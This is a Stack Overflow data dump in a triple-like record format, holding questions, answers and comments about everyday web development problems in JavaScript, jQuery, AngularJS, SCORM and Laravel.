favorite count: 0
has comment: http://stackoverflow.com/comment/40365560
tagged with: back
has comment: http://stackoverflow.com/comment/40365350
has comment: http://stackoverflow.com/comment/40365313
has answer: http://stackoverflow.com/a/25806101
has comment: http://stackoverflow.com/comment/40365613

http://stackoverflow.com/q/25831980
has body: So, I'm working on a website in which people can create presentations. The website has a functionality to export the presentations in SCORM format (in 1.2 or in 2004). I am working on this functionality right now and it's my first time meeting SCORM. So in my presentations there are buttons that can redirect you to other slides. For example you are on slide 4 and the button redirects you to slide 7. For now I am building the SCORM with one SCO (Sherable Content Object) and all the navigation is handled by a custom navigation bar I made inside my presentation. So let's go to the actual question. I want to build my presentation without my custom navigation bar so that the navigation can be handled by the LMS (Learning Management System). I did that by creating multiple SCOs (one SCO per slide) but I don't find a possible solution for my redirecting buttons. How can i "jump" from slide(SCO) 4 to slide(SCO) 7 when clicking on a button. Is it possible from the Run Time API, in 1.2 or maybe only in 2004 or it's not possible at all. EDIT: So I'm trying to implement adl.nav.request with continue or continue in scorm 2004 4th generation but I'm not getting any luck. I made it with the nav request - choice, but continue keeps returning me false After initialization of the Scorm Api which works fine I do: console.log(ScoApi.api.GetValue('adl.nav.request_valid.choice.{target=4}')); console.log(ScoApi.api.GetValue('adl.nav.request_valid.continue')); if (ScoApi.api.GetValue('adl.nav.request_valid.choice.{target=4}')) { ScoApi.api.SetValue('adl.nav.request', '{target=4}choice'); } else { console.log('Not supported!'); } .. and I get true for the choice and false for the continue from the console.log() in cloud.scorm.com and two unknown in Moodle. (Does unknown mean that the LMS doesn't support them?) In my manifest I have the controlMode with it's attributes defined like this: <imsss:sequencing> <imsss:controlMode choice="true" choiceExit="true" flow="true"/> </imsss:sequencing> C…
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: scorm
accepted answer: http://stackoverflow.com/a/25838464
type: AnsweredQuestion
tagged with: presentation
type: Question
tagged with: javascript
tagged with: jquery
has title: SCORM: jump between SCOs when button in the presentation is clicked
score: 0
has answer: http://stackoverflow.com/a/25838464

http://stackoverflow.com/a/25773737
score: 0
has body: For the selector, the second parameter should be a jQuery or DOM object. If you provide a string, it will search for the content of the string. To make it work, you should make the html variable to be an object by: var html = $(' 123 '); console.log($('div', html)); Then if you want, you can add it to your page by: $('body').add(html); It's also a good idea to use a $ for jQuery object variables: var $html = $(' 123 '); So you can easily know that this is a jQuery object already, and you don't have to call for ex. $(html).show() every time you want to do something with it, you can simply call $html.show();
answers question: http://stackoverflow.com/q/25773576
type: Answer
has comment: http://stackoverflow.com/comment/40307205

http://stackoverflow.com/comment/40330512
comment on: http://stackoverflow.com/a/25786544
type: Comment
has text: My bad, forgot the new keyword. Updated my answer.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40226630
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25727279
has text: it didn't work. The dollar sign went away but the decimal place and two significant figures are still there.

http://stackoverflow.com/a/25780696
answers question: http://stackoverflow.com/q/25780434
has body: The service example what I mentioned can be achieved like this: angular.service('yourService',function() { return { setInitialValues: function(scope) { scope.a = 22; //All your Initial values } } }); And in the controller inject the services and pass your scope to the controller and set it over their. This will work in the scope of Angular and nothing is global over here
has comment: http://stackoverflow.com/comment/40320619
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/40320646
score: 1

http://stackoverflow.com/a/25824742
has body: You can do it like this: $('.show-answer-button')[$('.answer').text() ? "show":"hide"]();
answers question: http://stackoverflow.com/q/25824710
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/a/25876693
score: 2
accepted answer of: http://stackoverflow.com/q/25799393
answers question: http://stackoverflow.com/q/25799393
has body: Yes, Socket.IO works cross-domain just fine. The actual Socket.IO library can/should be loaded from the server hosting it. EXTRA INFO: This specifically will not work if I am trying to connect from an HTML file opened from disk using file:///. Don't do that. You run into all sorts of weird issues when loading files off disk vs. over HTTP. Failed to load resource: A server with the specified hostname could not be found. This usually implies that whatever hostname you're trying to connect to isn't resolvable, indicating a DNS problem or that you typoed your hostname. In any case, your code example doesn't show the relevant part where the problem may be. Use your browser's developer tools to first determine that everything is loading correctly. Then, verify the address of what you're trying to connect to.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40495332
upvote count: 2
type: Answer

http://stackoverflow.com/q/25783558
has title: Make appear text in Javascript
tagged with: css
tagged with: text
type: AnsweredQuestion
upvote count: 0
possible better answer: http://stackoverflow.com/a/25783642
score: -3
type: Question
has answer: http://stackoverflow.com/a/25783829
accepted answer: http://stackoverflow.com/a/25783829
has body: I'm trying to make appear text in Javascript. That's my code : HTML : Ecologie Planète BIO Responsable Changement Durable CSS : #t1 { position: absolute; color: green; font-size: 50px; top: 50%; left: 13%; display: none; } #t2 { position: absolute; color: green; font-size: 60px; top: 40%; left: 70%; display: none; } and Javascript : function Display (elem) { elem.style.display = block; } var compteur = 0; function DisplayElem() { compteur += 1; var id = 't' + compteur; elem = document.getElementById(id); Display(elem); mytimeout = setTimeout(DisplayElem(), 2000) if(compteur == 6) { window.clearTimeout(mytimeout); } } I got this error : Uncaught ReferenceError: block is not defined on my line :elem.style.display = block; When i open my page i want all of my div invisible. But after a few second i would like to have on who appear, and the next one, and the next one... Thank you
answer count: 2
downvote count: 3
has comment: http://stackoverflow.com/comment/40324916
has answer: http://stackoverflow.com/a/25783642
tagged with: javascript
favorite count: 0

http://stackoverflow.com/comment/40346223
comment on: http://stackoverflow.com/q/25795080
has text: thanks! I know I have to learn how the world is ruled, before to try JS :)
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25736679
type: AnsweredQuestion
tagged with: javascript
has title: jQuery ajax request returning 405 ( POST not allowed) in laravel app
score: 0
answer count: 2
tagged with: laravel-4
has body: I can't seem to figure this out. Is this an apache configuration? I've seen some filters.php configurations to add POST but if this was the problem it would be somewhere in laravel docs, right? Routes: Route::get('orders/add', 'OrderController@add'); Route::resource('orders', 'OrderController'); Controller (REST methods are empty): class OrderController extends \BaseController { public function add() { if (Request::ajax()) return "ajax request "; else return "not ajax"; } ... jQuery: function add() { var tid = $('#sites input[type=radio]:checked').attr('id'); $.ajax({ type: "POST", url: 'add', data: { tid: tid } }).done( function (msg){ alert(msg); }); } Button to send: &lt;button onclick="add()" id="formSubmit"&gt; Carrinho &lt;/button&gt; And the error firefox shows me on console when I click the button: POST http://localhost/orders/add [HTTP/1.0 405 Method Not Allowed 17ms] Thank you all.
tagged with: ajax
has answer: http://stackoverflow.com/a/25736788
has answer: http://stackoverflow.com/a/25736693
accepted answer: http://stackoverflow.com/a/25736693
tagged with: php
possible better answer: http://stackoverflow.com/a/25736788
tagged with: laravel
type: Question

http://stackoverflow.com/comment/40217911
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25725032
has text: So, with the code above, it works great, but I need the form to have a submit button to then move to the next tab, and if the fields have not been entered for it to flag that but showing an error to say which fields have not been filed in.

http://stackoverflow.com/comment/40437687
score: 1
has text: @Satpal — `change` won't fire until the focus is lost.
comment on: http://stackoverflow.com/q/25845126
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40285710
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25761732
has text: @colinec $(".fb-like-box").click(function(){ $(this).remove(); })
score: 0

http://stackoverflow.com/q/25833802
tagged with: anonymous
score: 0
upvote count: 1
answer count: 1
downvote count: 1
tagged with: javascript
type: UnansweredQuestion
has title: Self Executing Anonymous Function returning
has comment: http://stackoverflow.com/comment/40417384
linked to: http://stackoverflow.com/q/111102
tagged with: function
has body: got this function: function Something(name){ this.name = name; } var createSomething = (function() { function F(args) { return Something.apply(this, args); } F.prototype = Something.prototype; return function() { return new F(arguments); } })(); var x = createSomething('abc'); Why does createSomething have to be a self-invoking function? I noticed when leaving the invoking brackets (), x will just be empty. But why? It invokes "unasked" at the initialization of the javascript and then runs again once "asked" for. But what's the point of the first run? Does it straight assign the "this" correctly, or what's the point of use?
has answer: http://stackoverflow.com/a/25834030
favorite count: 0
linked to: http://stackoverflow.com/q/8228281
tagged with: self
type: Question

http://stackoverflow.com/q/25783362
score: -2
has title: Error Of JQuery in Internet explorer 8
has comment: http://stackoverflow.com/comment/40324743
has comment: http://stackoverflow.com/comment/40324681
tagged with: ie8-compatibility-mode
accepted answer: http://stackoverflow.com/a/25783779
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/40324820
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40324840
has answer: http://stackoverflow.com/a/25783779
has comment: http://stackoverflow.com/comment/40324999
has body: I am running on of my project on Internet Explorer 8 i.e. IE8 and i am getting the following errors. this project is successfully run on the Chrome and Mozilla as well as IE11 also but i want to use IE8. is there any way to solve the Errors..
type: AnsweredQuestion
upvote count: 0
possible better answer: http://stackoverflow.com/a/25783570
has comment: http://stackoverflow.com/comment/40324671
has comment: http://stackoverflow.com/comment/40324696
has answer: http://stackoverflow.com/a/25783570
type: Question
has comment: http://stackoverflow.com/comment/40324846
tagged with: internet-explorer
tagged with: internet-explorer-8

http://stackoverflow.com/comment/40250868
has text: Thank you so much! and thanks to who gave me points! the code is working. :)
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25742993

http://stackoverflow.com/comment/40348837
type: Comment
has text: It works if I pass session[:user_id] in instead of params[:id] for @user = User.find(params[:id]) but only for the current user and it messes up viewing other users' feeds.
comment on: http://stackoverflow.com/a/25794760
score: 0
type: AnswerComment

http://stackoverflow.com/q/25820995
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
downvote count: 1
type: Question
has title: how display particular values from json array of object in javascript?
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25821064
accepted answer: http://stackoverflow.com/a/25821064
upvote count: 0
answer count: 1
has body: I have some doubts in displaying values from the ajax objects. I need to display names in select box by using ajax. I do not know where i did the mistake.how can i change my code.please anyone help me.Thank you in advance. My javascript code: function getClient() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200) { var message = xmlhttp.responseText; var client = JSON.parse(message); console.log(Object.keys(client)); document.forms["project_form"]["Project_cid"].innerHTML='&lt;select class="form-control" maxlength="100" name="Project[cid]" id="Project_cid"&gt;&lt;option value=Select&gt;'+Object.keys(client)+'&lt;/option&gt;&lt;/select&gt;' } } var url = "/pms_pro/index.php/client/list"; xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(null); } when i use alert(message), it will display like below, [{"cid":"1","name":"suresh","address":"Chennai"},{"cid":"2","name":"Ramesh","address":"Namakkal"},{"cid":"3","name":"Vignesh","address":"Trichy"}]
favorite count: 0
tagged with: ajax

http://stackoverflow.com/comment/40447619
type: QuestionComment
has text: The ids should be unique in the dataset
score: 0
comment on: http://stackoverflow.com/q/25849178
type: Comment

http://stackoverflow.com/comment/40483343
comment on: http://stackoverflow.com/a/25864912
type: AnswerComment
type: Comment
score: 0
has text: @mpcabd Thanks for that. I did that because a different time i actually did get downvotes and a plagiarism accusation.

http://stackoverflow.com/comment/40320228
comment on: http://stackoverflow.com/q/25780874
type: QuestionComment
score: 0
has text: how can i block all the events on it?
type: Comment

http://stackoverflow.com/comment/40268005
has text: If you feel an answer solved the problem, please mark it as 'accepted' by clicking the green check mark. This helps keep the focus on older SO which still don't have answers.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25752048

hover
tags question: http://stackoverflow.com/q/25828947
tags question: http://stackoverflow.com/q/25740174
tags question: http://stackoverflow.com/q/25851220
type: Tag
tag name: hover

http://stackoverflow.com/comment/40369534
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25807680
type: AnswerComment
has text: Enter some value,Select all,press delete,Not set to 0 :)

http://stackoverflow.com/q/25764840
has answer: http://stackoverflow.com/a/25764956
has title: Call jQuery method from JavaScript
possible better answer: http://stackoverflow.com/a/25765004
answer count: 3
score: 0
accepted answer: http://stackoverflow.com/a/25764956
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25765207
has comment: http://stackoverflow.com/comment/40290379
type: Question
has answer: http://stackoverflow.com/a/25765004
tagged with: javascript
tagged with: jquery
has body: I have a JavaScript method which calls a jQuery function inside : function diyalog() { $(function() { $( "#dialog" ).dialog(); }); } And I get this error : TypeError: $(...).dialog is not a function How can I call this jQuery method from my JavaScript method properly. Thanks.

http://stackoverflow.com/comment/40474215
score: 1
has text: @Shashank I don't know where to begin. I'm used to html CSS and no JS experience
type: QuestionComment
comment on: http://stackoverflow.com/q/25865375
type: Comment

http://stackoverflow.com/q/25741545
has answer: http://stackoverflow.com/a/25741606
has comment: http://stackoverflow.com/comment/40248236
has answer: http://stackoverflow.com/a/25741589
possible better answer: http://stackoverflow.com/a/25741606
has body: &lt;script type="text/javascript"&gt; function check_phone(){ var x=$('#phone1').val(); var landline = /^([0-9]{4}[\-]{1}[0-9]{7})$/; var mobile = /^(?:\([2-9]\d{2}\)\ ?|[2-9]\d{2}(?:\-?|\ ?))[2-9]\d{2}[- ]?\d{4}$/; if (landline.test(x)) alert('first condition'); $('#phone1').css('border','2px solid #00a500'); else if(mobile.test(x)) alert('second condition'); $('#phone1').css('border','2px solid #00a500'); else $('#phone1').css('border','2px solid #a50000'); alert('third condition'); } &lt;/script&gt; &lt;input type="text" value="" name="phone1" id="phone1" onchange="check_phone()" required /&gt; When I press tab after entering a phone number, it does not show the alert boxes from check_phone() function. Is it even entering the function and checking it? It does not even style the textbox as per the css mentioned in the function. How can I find out? Please help
answer count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25741589
has title: alert box not coming up - what is incorrect in this function?
type: Question
has comment: http://stackoverflow.com/comment/40248476
has answer: http://stackoverflow.com/a/25741608
tagged with: javascript
has answer: http://stackoverflow.com/a/25741724
score: 0

http://stackoverflow.com/comment/40417382
type: Comment
has text: What's wrong with using `mouseup`? how'll using `click()` method instead will fix OP's issue?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25833269

http://stackoverflow.com/q/25866456
has title: Why is this callback undefined when I abstract my functions to named functions?
tagged with: javascript
has body: I'm trying to understand the concept of javascript callbacks, and am changing this bit of (working) code that employs callbacks: /* Working */ var gulp = require('gulp'), del = require('del'); var cfg = require(process.cwd() + '/config.json'); gulp.task('del:dist', function(cb) { del([cfg.path.dist], function(err) { if (err) return cb(err); cb(); }); }); To code that uses named functions, so that I can better understand what's going on: /* Not working */ var gulp = require('gulp'), del = require('del'); var cfg = require(process.cwd() + '/config.json'); gulp.task('del:dist', deleteFolder(cfg.path.dist, cb)); function deleteFolder(targetFolder, cb) { del(targetFolder, function doneDeleting(err) { if (err) return cb(err); cb(); }); }; The problem is that the code with the named functions does not work. I get a referenceError: cb is not defined for deleteFolder(cfg.path.dist, cb));. Which makes sense, because it isn't. But it isn't defined in the working example either. So why does it work there?
has answer: http://stackoverflow.com/a/25866636
accepted answer: http://stackoverflow.com/a/25866636
answer count: 3
has answer: http://stackoverflow.com/a/25866685
possible better answer: http://stackoverflow.com/a/25866627
tagged with: gulp
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25866627
type: Question
score: 0

http://stackoverflow.com/q/25759161
has answer: http://stackoverflow.com/a/26337702
tagged with: java
has title: connect to the xampp localhost database with the real device
score: 0
has answer: http://stackoverflow.com/a/25759466
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25759329
has comment: http://stackoverflow.com/comment/40280753
has body: I can connect to the xampp localhost database with andoird emulator,but when I try it with the real device,it is not connecting.Is there any way to connect my android device to the localhost xampp database .Thanks in advance.
tagged with: android
answer count: 4
has answer: http://stackoverflow.com/a/25759329
has comment: http://stackoverflow.com/comment/40280692
linked to: http://stackoverflow.com/q/5806220
has answer: http://stackoverflow.com/a/25759285
accepted answer: http://stackoverflow.com/a/25759285
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40280912

http://stackoverflow.com/q/25848129
downvote count: 2
type: AnsweredQuestion
type: Question
possible better answer: http://stackoverflow.com/a/38983881
answer count: 2
has answer: http://stackoverflow.com/a/38983881
has answer: http://stackoverflow.com/a/25848190
tagged with: javascript
score: 0
has body: I am trying to practice my lodash skills on jsfiddle.net. I am trying simple copy paste of the following code _.map([1, 2, 3], function(n) { return n * 3; }); By setting the framework options library to lodash 2.2.1 and pressing the run button however nothing happens i dont get any output any ideas please ?
has comment: http://stackoverflow.com/comment/40442689
has title: Practice lodash on jsfiddle
has comment: http://stackoverflow.com/comment/40442788
favorite count: 0
has comment: http://stackoverflow.com/comment/40442810
upvote count: 2
accepted answer: http://stackoverflow.com/a/25848190

http://stackoverflow.com/comment/40346152
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25794651
has text: I think so, yes. that is why I suggested moving it in the getJSON. With it outside it is probably calling the getJSON and then calling your update before the get has finished. I am hoping moving it inside will resolve the timing issue
score: 0

http://stackoverflow.com/comment/40225968
comment on: http://stackoverflow.com/q/25729734
score: 0
type: Comment
has text: View the markup that is generated by the php. I am sure that will show you your bug.
type: QuestionComment

http://stackoverflow.com/comment/40274217
comment on: http://stackoverflow.com/a/25755406
has text: When I ran this, all of the variables returned undefined
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40481913
type: AnswerComment
score: 0
type: Comment
has text: @user3494068, can you update my jsFiddle in the answer to reproduce the issue?
comment on: http://stackoverflow.com/a/25868995

webdriver-io
type: Tag
tag name: webdriver-io
tags question: http://stackoverflow.com/q/25804745

http://stackoverflow.com/comment/40481043
has text: Why are you using a div instead of a textbox or textarea?
type: QuestionComment
comment on: http://stackoverflow.com/q/25869111
score: 0
type: Comment

http://stackoverflow.com/comment/40328120
has text: Thanx to rGraham fiddle works fine now
comment on: http://stackoverflow.com/q/25785380
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40379903
score: 0
comment on: http://stackoverflow.com/a/25813538
type: Comment
has text: do you mean for the appropriate class? I don't want the user writing to it, and this is done on the server (the cloud) anyway. Do you mean I should use the master key to do this?
type: AnswerComment

http://stackoverflow.com/q/25723403
has comment: http://stackoverflow.com/comment/40214257
has comment: http://stackoverflow.com/comment/40216650
has answer: http://stackoverflow.com/a/39323069
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40214399
downvote count: 0
has comment: http://stackoverflow.com/comment/40214603
linked to: http://stackoverflow.com/q/21287794
favorite count: 0
possible better answer: http://stackoverflow.com/a/39323069
tagged with: angularjs
has answer: http://stackoverflow.com/a/25724794
has title: Angularjs - ng-disabled doesn't work as expected
has answer: http://stackoverflow.com/a/39350934
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/39351527
has comment: http://stackoverflow.com/comment/40214282
has answer: http://stackoverflow.com/a/25723468
has answer: http://stackoverflow.com/a/25723491
has body: I am trying to disable file input tag, after user selected a file. HTML: &lt;div ng-controller='firstController'&gt; &lt;div ng-controller='secondController'&gt; &lt;input type="file" name="file" upload class="theFileInput" ng-disabled="fileInMemory"&gt; &lt;/div&gt; &lt;/div&gt; JS, first controller: $scope.fileInMemory = false; // tracks if user selected a file for upload, but didn't upload it $rootScope.$on('fileAdded', function () { $scope.fileInMemory = true; console.log($scope.fileInMemory); }); upload is a directive. On page load, ng-disabled has false as it should, when fileInMemory is changed, input tag still not being disabled. console.log shows that the value of fileInMemory is changing as it should. What i tried so far &lt;input type="file" name="file" class="theFileInput" ng-disabled="'fileInMemory'"&gt; Just disables the field right away, when fileInMemory is falsy. &lt;input type="file" name="file" class="theFileInput" ng-disabled="fileInMemory == 'true'"&gt; Doesn't work. &lt;input type="file" name="file" class="theFileInput" ng-disabled="{{fileInMemory}}"&gt; Still doesn't work. What is the best way to disable an input tag? Found the issue It looks like the issue here is scopes. I have firstController with its' scope, inside it secondController with its' scope, and on the input tag upload directive, which apparently creates its' own scope and doesn't see firstController scope. secondController and upload are general controllers and therefore don't inherit from firstController. I guess my best solution is to add some general handler in secondController, which based on additional attribute on input field will disable the it when needed.
has answer: http://stackoverflow.com/a/25723763
upvote count: 10
type: Question
answer count: 8
accepted answer: http://stackoverflow.com/a/25724794
score: 10
tagged with: javascript
has comment: http://stackoverflow.com/comment/40214309
has comment: http://stackoverflow.com/comment/40214077
has answer: http://stackoverflow.com/a/39335428

http://stackoverflow.com/q/25828677
upvote count: 2
downvote count: 1
has comment: http://stackoverflow.com/comment/40407455
type: AnsweredQuestion
tagged with: performance
score: 1
has answer: http://stackoverflow.com/a/25829590
tagged with: webgl
type: Question
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/25829590
has title: WebGL CPU vs GPU for transformations
answer count: 1
has body: I've recently begun toying with WebGL and I was wondering, for transformations (rotation, translation, scale, etc.) would it be faster to use JavaScript or a shader, or is it roughly the same?

http://stackoverflow.com/q/25842634
tagged with: canvas
has comment: http://stackoverflow.com/comment/40433607
answer count: 0
tagged with: ios
type: Question
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/11929099
tagged with: safari
has comment: http://stackoverflow.com/comment/40433407
score: 0
has title: Iphone Image fit Issue in Canvas
has body: I am working on HTML5 application for iPhone. Whenever I choose file from take photo option and place it in canvas. It gets squeezed towards top. I am unable to find out the reason. I have asked this question before and searched many sites but could not find solution of this issue. Any help? Demo Image Please find this image to see the issue. Newly taken photo does not occupy space till clear button. Html Code: &lt;canvas id="myCanvas" width="270" height="300"&gt;&lt;/canvas&gt; &lt;input type="file" id="uploadImage" name="upload" value="Upload" onchange="PreviewImage();" /&gt; Javascript Code: function PreviewImage() { var oFReader = new FileReader(); oFReader.readAsDataURL(document.getElementById("uploadImage").files[0]); oFReader.onload = function (oFREvent) { var canvas = document.getElementById('myCanvas'); ctx = canvas.getContext('2d'); ctx.clearRect(0, 0, 270, 300); imageUrl = oFREvent.target.result; var base_image = new Image(); base_image.src = imageUrl; base_image.onload = function () { ctx.drawImage(base_image, 0, 0, 270, 300); } }; }
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40433578

http://stackoverflow.com/comment/40385946
type: QuestionComment
has text: Also, you can improve your game logic a bit. Right now you create 6 different possibilities for Rock vs Paper vs Scissors. You can make it more efficient by using nested if/else statements. See [Here](http://stackoverflow.com/questions/17976883/rock-paper-scissors-in-javascript) for an example
comment on: http://stackoverflow.com/q/25816547
score: 0
type: Comment

http://stackoverflow.com/q/25780729
favorite count: 0
tagged with: actionscript-3
type: Question
answer count: 2
score: -1
downvote count: 1
upvote count: 0
tagged with: flash-cs4
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25815642
has comment: http://stackoverflow.com/comment/40328813
has answer: http://stackoverflow.com/a/25780816
has body: Flash says the code is on my second line, but I've done some reading and it says this error is mainly due to me trying to assign a value to a value, and I've looked back over my code, and I can't seem to find any instance of this. Here is my code: this.mc=new MovieClip(); addChild(mc)=("myButton1", this.DisplayOBjectContainer.numChildren()); myButton1.createEmptyMovieClip("buttonBkg", myButton1.getNextHighestDepth()); myButton1.buttonBkg.lineStyle(0, 0x820F26, 60, true, "none", "square", "round"); myButton1.buttonBkg.lineTo(120, 0); myButton1.buttonBkg.lineTo(120, 30); myButton1.buttonBkg.lineTo(0, 30); myButton1.buttonBkg.lineTo(0, 0); Thanks!
has title: Error 1105: Target of Assignment must be a Reference Value

http://stackoverflow.com/q/25799670
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/139724930
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25799743
downvote count: 1
has comment: http://stackoverflow.com/comment/40355027
has comment: http://stackoverflow.com/comment/40355031
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20279484
has title: Custom jQuery plugin
score: -1
type: Question
has comment: http://stackoverflow.com/comment/40355019
upvote count: 0
has answer: http://stackoverflow.com/a/25799743
has body: I quickly wrote this jquery plugin. When I pass it a $element it slides up, but then it breaks on this.empty() claiming this is not a function. What's the problemo? (function ( $ ) { $.fn.slideUpEmpty = function(t, callback){ this.slideUp(t, function(){ this.empty(); if(callback){ callback(); } }); } }( jQuery )); Use $('#somediv').slideUpEmpty(500, function(){ });
tagged with: this

http://stackoverflow.com/comment/40202438
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25717081
has text: any console errors?, if using chrome pres f12 and look for any errors in console
type: QuestionComment

http://stackoverflow.com/comment/40241953
comment on: http://stackoverflow.com/a/25719392
type: Comment
has text: did u check that u have template files for the routes ?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40933355
has text: @PriyankaAgarwal Checkout my swipe example above
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25761969

http://stackoverflow.com/q/25849904
tagged with: css
has body: so after some hard work i managed to make my carousel work on my webpage and everything works fine but i would like the carousel to slide just one image to the left or right not all of them. Is this possible to make? HTML: Bootstrap 101 Template <!--[if lt IE 9]> <![endif]--> <div class=" by NextCoup" style="border: none !important; display: inline-block !important; text-indent: 0px !important; float: none !important; font-weight: bold !important; height: auto !important; margin: 0px !important; min-height: 0px !important; min-width: 0px !important; padding: 0px !important; text-transform: uppercase !important; text-decoration: underline !important; vertical-align: baseline !important; width: auto !important; background: transparent !important;">container<img src="http://cdncache-a.akamaihd.net/items/it/img/arrow-10x10.png" style="border: none !important; display: inline-block !important; text-indent: 0px !important; float: none !important; font-weight: bold !important; height: 10px !important; margin: 0px 0px 0px 3px !important; min-height: 0px !important; min-width: 0px !important; padding: 0px !important; text-transform: uppercase !important; text-decoration: underline !important; vertical-align: super !important; width: 10px !important; background: transparent !important;">-fluid"> Samsung S5 Nullam Condimentum Nibh Etiam Sem LG G3 Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem Praesent commodo Nullam Condimentum Nibh Etiam Sem < > CSS: ![#myCarousel{ position:absolute; top:80px; left:10px; right:10px; text-align:left; background-color:#C2C2C2; z-index:1; } #back_carousel{ position:relative; top:-15spx; width: 2000px; height…
answer count: 0
has comment: http://stackoverflow.com/comment/40454154
tagged with: twitter-bootstrap
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40454075
has comment: http://stackoverflow.com/comment/40446659
has title: Bootstrap Carousel Sliding 1 Image
type: Question
tagged with: javascript
linked to: http://stackoverflow.com/q/22558936
has comment: http://stackoverflow.com/comment/40446606
has comment: http://stackoverflow.com/comment/40453835
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40308901
has text: It might have something to do with $sce. Check out this issue: http://stackoverflow.com/questions/24163152/angularjs-ng-src-inside-of-iframe
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25773646

http://stackoverflow.com/q/25752138
downvote count: 0
tagged with: javascript
score: 7
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/40270232
has comment: http://stackoverflow.com/comment/40274594
has answer: http://stackoverflow.com/a/53470226
has body: I am making an application where I want the user to use their mic (on their phone) and be able to talk to each other in the game lobby. However, this has proven to be more than difficult. I am using Node JS socket io and socket io stream on my client I am using the audio api to take my microphones input ( I am not really worried about this all that much because I am going to make this a Native IOS app) navigator.getUserMedia = ( navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); if (navigator.getUserMedia) { navigator.getUserMedia ( // constraints { video: false, audio: true }, function(localMediaStream) { var video = document.querySelector('audio'); video.src = window.URL.createObjectURL(localMediaStream); lcm = localMediaStream; var audioContext = window.AudioContext; var context = new audioContext(); var audioInput = context.createMediaStreamSource(localMediaStream); var bufferSize = 2048; // create a javascript node var recorder = context.createScriptProcessor(bufferSize, 1, 1); // specify the processing function recorder.onaudioprocess = recorderProcess; // connect stream to our recorder audioInput.connect(recorder); // connect our recorder to the previous destination recorder.connect(context.destination); }, // errorCallback function(err) { console.log("The following error occured: " + err); $("video").remove(); alert("@#"); } ); } else { console.log("getUserMedia not supported"); } function recorderProcess(e) { var left = e.inputBuffer.getChannelData(0); window.stream.write(convertFloat32ToInt16(left)); //var f = $("#aud").attr("src"); var src = window.URL.createObjectURL(lcm); ss(socket).emit('file', src, {size: src.size}); ss.createBlobReadStream(src).pipe(window.stream); //ss.createReadStream(f).pipe(widnow.stream); } function convertFloat32ToInt16(buffer) { l = buffer.length; buf = new Int16Array(l); while (l--) { buf[l] = Math.min(1, buffer[l])*0x7FFF; } return buf.buffer; } }); ss(socket).on…
has title: Streaming microphone through sockets using socket IO and Node JS
tagged with: streaming
has comment: http://stackoverflow.com/comment/40274565
upvote count: 7
answer count: 1
tagged with: node.js
tagged with: audio
has comment: http://stackoverflow.com/comment/40270344
has comment: http://stackoverflow.com/comment/40270574
has comment: http://stackoverflow.com/comment/40270165
has comment: http://stackoverflow.com/comment/40270427
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40271520
tagged with: socket.io

emacs
tags question: http://stackoverflow.com/q/25760168
tags question: http://stackoverflow.com/q/25733253
tag name: emacs
tags question: http://stackoverflow.com/q/25856218
type: Tag

http://stackoverflow.com/comment/40450667
type: QuestionComment
comment on: http://stackoverflow.com/q/25850657
score: 1
